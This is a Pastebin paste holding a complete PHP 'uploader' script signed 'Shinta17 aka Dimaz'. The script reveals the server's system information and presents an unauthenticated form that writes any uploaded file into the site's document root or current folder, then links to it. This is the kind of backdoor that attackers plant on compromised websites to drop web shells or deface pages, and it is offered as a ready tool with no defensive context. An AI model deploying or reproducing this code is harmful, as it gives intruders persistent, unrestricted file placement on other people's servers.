Advertisement
Guest User

Untitled

a guest
Jul 15th, 2019
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. <title> Shinta17 New Uploader </title>
  2. <?php
  3. echo "By Shinta17 aka Dimaz<br>";
  4. echo "<b>".php_uname()."</b><br>";
  5. echo "<form method='post' enctype='multipart/form-data'>
  6. <input type='file' name='idx_file'>
  7. <input type='submit' name='upload' value='upload'>
  8. </form>";
  9. $root = $_SERVER['DOCUMENT_ROOT'];
  10. $files = $_FILES['idx_file']['name'];
  11. $dest = $root.'/'.$files;
  12. if(isset($_POST['upload'])) {
  13. if(is_writable($root)) {
  14. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  15. $web = "http://".$_SERVER['HTTP_HOST']."/";
  16. echo "sukses..!! -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  17. } else {
  18. echo "failed to upload in the document root.";
  19. }
  20. } else {
  21. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  22. echo "sukses upload <b>$files</b> di folder ini";
  23. } else {
  24. echo "gagal upload";
  25. }
  26. }
  27. }
  28. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement